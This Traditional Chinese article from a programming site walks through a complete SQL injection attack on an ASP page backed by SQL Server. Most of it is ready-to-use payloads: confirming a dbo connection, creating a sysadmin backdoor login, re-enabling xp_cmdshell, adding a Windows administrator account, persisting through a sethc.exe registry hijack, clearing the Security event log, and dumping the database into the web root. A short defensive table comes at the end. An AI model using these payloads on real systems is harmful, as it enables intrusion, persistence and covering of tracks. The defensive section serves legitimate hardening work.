首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 實戰:利用 dbo 權限奪取 SQL Server 與系統控制權

     編輯:關於SqlServer

案例背景:真實滲透測試記錄

目標:某供求資訊發布網站 https://www.xxx.com/new/new.asp?id=49。測試過程完整記錄從注入點確認、權限判斷、SQL Server 掌控、作業系統淪陷全鏈路。

第一階段:注入點確認與指紋識別

測試 Payload回應判斷
id=49'ODBC 語法錯誤:字串語法錯誤 ... 'ID=49''確認字串型注入點
id=49 AND 1=1正常回傳頁面邏輯判斷可控
id=49 AND 1=2BOF/EOF 錯誤:記錄集為空確認布林盲注可行
id=49 AND USER_NAME()>0轉換錯誤:將 nvarchar 值 "dbo" 轉換為 int 失敗**關鍵突破**:確認連線身份為 dbo (sysadmin 等效)

核心洞察:錯誤訊息直接洩露 dbo,意味著注入將以 **系統管理員權限** 執行,可直接呼叫 sp_addlogin、xp_cmdshell 等高危程序。

第二階段:建立 SQL Server 後門帳號

-- 1. 新增登入
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addlogin 'fmzm','fmzm';--

-- 2. 設定密碼(SP3+ 語法)
https://xxx.com/new/new.asp?id=49;EXEC master..sp_password NULL,'fmzm','fmzm';--

-- 3. 昇級 sysadmin 角色
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addsrvrolemember 'fmzm','sysadmin';--
-- 註:參數順序偶爾需互換 'fmzm','sysadmin' ↔ 'sysadmin','fmzm'

第三階段:利用 xp_cmdshell 奪取作業系統

-- 1. 啟用 xp_cmdshell(若已移除)
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

-- 2. 建立系統帳號(完整參數確保可登入)
https://xxx.com/new/new.asp?id=49;EXEC master..xp_cmdshell 
    'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

-- 3. 加入 Administrators 群組
https://xxx.com/new/new.asp?id=49;EXEC master..xp_cmdshell 
    'net localgroup administrators fmzm /add';--

關鍵參數解析:/workstations:* 允許所有工作站、/times:all 全天候、/active:yes 啟用帳號、/passwordchg:yes 允許變更密碼、/passwordreq:yes 強制密碼。缺少這些參數建立的帳號常因策略限制無法登入。

第四階段:後滲透與持久化

  • Telnet/遠端桌面登入:使用 fmzm/fmzm 直接登入伺服器;
  • SQL 連線器直連:繞過 Web 應用直接操作資料庫;
  • 登錄持久化:xp_regwrite 映像劫持 sethc.exe → Shift 5 次喚起 SYSTEM 權限 CMD;
  • 清理痕跡:xp_cmdshell 'wevtutil cl Security' 清除安全性事件日誌。

輔助偵察 Payload 集錦

-- 取得資料庫名稱
.../new.asp?id=49 AND DB_NAME()>0

-- 備份資料庫至 Web 目錄下載(需寫入權限)
.../new.asp?id=49;BACKUP DATABASE TargetDB TO DISK='C:\Inetpub\wwwroot\1.bak';--

-- 列舉資料表結構
.../new.asp?id=49;SELECT name FROM sysobjects WHERE xtype='U';--

防禦檢視:為何這個案例會成功?

失敗防禦層缺口正確做法
輸入驗證id 參數未驗證數字型別,直接拼接 SQL參數化查詢 / Convert.ToInt32(Request["id"]) 強型別
錯誤訊息回顯詳細 ODBC 錯誤直接顯示於頁面生產環境 customErrors mode="RemoteOnly",統一錯誤頁
資料庫帳號權限Web 應用使用 sysadmin (dbo) 連線專用低權限帳號,僅 EXECUTE 預存程序
危險擴展程序xp_cmdshell、sp_addlogin 可用移除或撤銷 PUBLIC 執行權限
網路隔離資料庫伺服器直接暴露於 Web 伺服器同網段DB 獨立 VLAN,僅允許 Web 伺服器 IP 存取 1433

結語

本案例展示:**單一注入點 + sysadmin 連線 + 危險擴展程序 = 完整伺服器淪陷**。攻擊鏈每一環皆為配置失誤疊加所致。防禦核心不在「過濾特殊字元」,而在於:**參數化查詢消除注入可能性 + 最小權限限制注入影響範圍 + 強化配置移除利用工具**。三者缺一不可。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved